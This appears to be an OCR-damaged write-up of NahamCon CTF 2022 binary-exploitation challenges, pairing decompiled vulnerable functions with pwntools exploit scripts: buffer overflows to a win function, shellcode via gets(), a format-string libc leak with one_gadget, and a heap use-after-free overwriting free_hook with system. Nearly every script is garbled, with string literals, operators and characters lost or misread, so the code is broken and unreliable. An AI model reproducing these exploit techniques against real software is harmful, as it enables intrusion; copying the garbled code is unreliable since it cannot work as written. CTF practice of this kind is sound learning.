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from pwn import
context(arch , log_level
file_name

11 lambda x : print(
11 lambda x : print(

remote( , 32752)
process(file name)

elf ELF(file_name)

def dbg():
gdb.attach(r)

shell 0x4011C9
pl (0x70 + 8) p64(shell)
r.sendline(pl)

r.interactive()

Detour
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int _ cdecl main(int argc, const char argv, const char

{
__int64 v4;
__int64 v5[2];
v5[1] __readfsqword(©x28u);
printf( );
__is0c99_scanf( , &va);
getchar();
printf( )
__is0c99_scanf( , V5);
getchar();

(_QWORD *)((char *)&base v5[0])

return 0;
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from pwn import
context(arch , log_level
file_name

1i lambda x : print(
11 lambda x : print(

remote( , 31704)
process(file name)
elf ELF(file_name)

def dbg():
gdb.attach(r)

shell 0x401209
r.sendlineafter( (shell))

final_addr = ©x4031C8
r.sendlineafter(

r.interactive()

Babysteps

void ask_baby name() {
char buffer[BABYBUFFER];
puts(
return gets(buffer);
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from pwn import

context(arch , log level

file name

1i lambda x : print(
11 lambda x : print(

remote( , 30796)

process(file name)

elf ELF(file_name)

def dbg():
gdb.attach(r)

asm(shellcraft.sh())
0x08049545

(0x18 + 4) p32(jmp_eax) shellcode
r.sendline(pl)

r.interactive()

Reading list

int _ fastcall print_list(const char *al)

{

int i;

if ( count )
{
printf( , al);
for (i =0; i < count; ++i )
{
printf( , (1 +1));
printf(heap_ptr[0][i]);
puts(&byte_20B9);

}

else

{
puts(

b
return puts(&byte 20B9);
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from pwn import
context(arch , log level

file name




11 lambda x : print(

remote( , 31143)

process(file name)

elf ELF(file_name)

def dbg():
gdb.attach(r)

add(name) :
r.sendlineafter(menu,
r.sendlineafter(

show():

r.sendlineafter(menu,

delete(index):
r.sendlineafter(menu, )
r.sendlineafter( ) (index))

edit(name):
r.sendlineafter(menu,

r.sendlineafter(

base_offest 11
libc_offest 23

r.sendlineafter(

(r.recv(12), 16) 243
(__1libc_start_main_addr))
)

libc_base = _ libc_start_main_addr libc.sym[

free_hook libc_base libc.sym[ ]
one [0xe3b2e, Oxe3b31, Oxe3b34]
one[1] libc_base

(one_gadget))

one_gadget (one_gadget 16 16)
(first))
(((one_gadget 16 16) (one_gadget 32 32))
(second))
(one_gadget 32)
(third))

16)




(second).rjust(6,

(third).rjust(6,
add (p4)

delete(1)

r.interactive()

Free Real Estate(% 5 )

void remove property()
{
if ( *(heap_ptr 6) )
free(*(heap_ptr 6));
if ( *(heap_ptr 4) )
{
free(*(heap_ptr 4));
(heap_ptr + 4) oLL;
)i
free(heap_ptr);
heap_ptr oLL;
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from pwn import
context(arch , log_level
file name

1i lambda x : print(
11 lambda x : print(

remote ( , 30968)
process(file name)
elf = ELF(file_name)

def dbg():
gdb.attach(r)

add(street_name_size, street _name, comment_size, comment

r.sendlineafter( 5 )

r.sendlineafter( (10))

r.sendlineafter( (street_name_size))
r.sendlineafter( , street_name)

r.sendlineafter( ) (10))



https://chovid99.github.io/posts/nahamcon-ctf-2022/#free-real-estate

.sendlineafter(

.sendlineafter(
.sendlineafter( (comment_size))

.sendlineafter( , comment)

edit(street_name_size, street _name, comment_size, comment , change_comment=False, iob=False):
r.sendlineafter( 5 )
r.sendlineafter(
if street name_size
r.sendlineafter(
else:
r.sendlineafter( 5 )
r.sendlineafter( 5 (street_name_size).encode())
r.sendlineafter( , street_name)
r.sendlineafter(
if comment_size Q:
r.sendlineafter(
else:
if not change_comment:
r.sendlineafter(
r.sendlineafter( (comment_size))
r.sendlineafter( , comment)
else:
r.sendlineafter( 5 )
r.sendlineafter( (comment_size))
if iob:
return

r.sendlineafter( , comment)

def delete():
r.sendlineafter(

def show():
r.sendlineafter(

def change(name_size, name):
r.sendlineafter( 5

r.sendlineafter( (name_size))

r.sendlineafter(

r.sendlineafter(

u4(r.recvuntil( )[-6:].1just(8,
(malloc_hook))

)

malloc_hook libc.sym[
libc_base libc.sym[

(free_hook))

libc_base libc.sym[

oxe3b2e, Oxe3b31, Oxe3b34




one_gadget one[1] libc_base

>, 8)
, 0x20, p64(free_hook), True)

ox8, 0)

change (500, p64(0)*31 p64(0x51))

edit(0x20, ox8, 0)

edit(0x49, p64(system), 0)

edit(@, p64(system), 13, , True)
edit(@, p64(system), 0x90, , True, True)

r.interactive()
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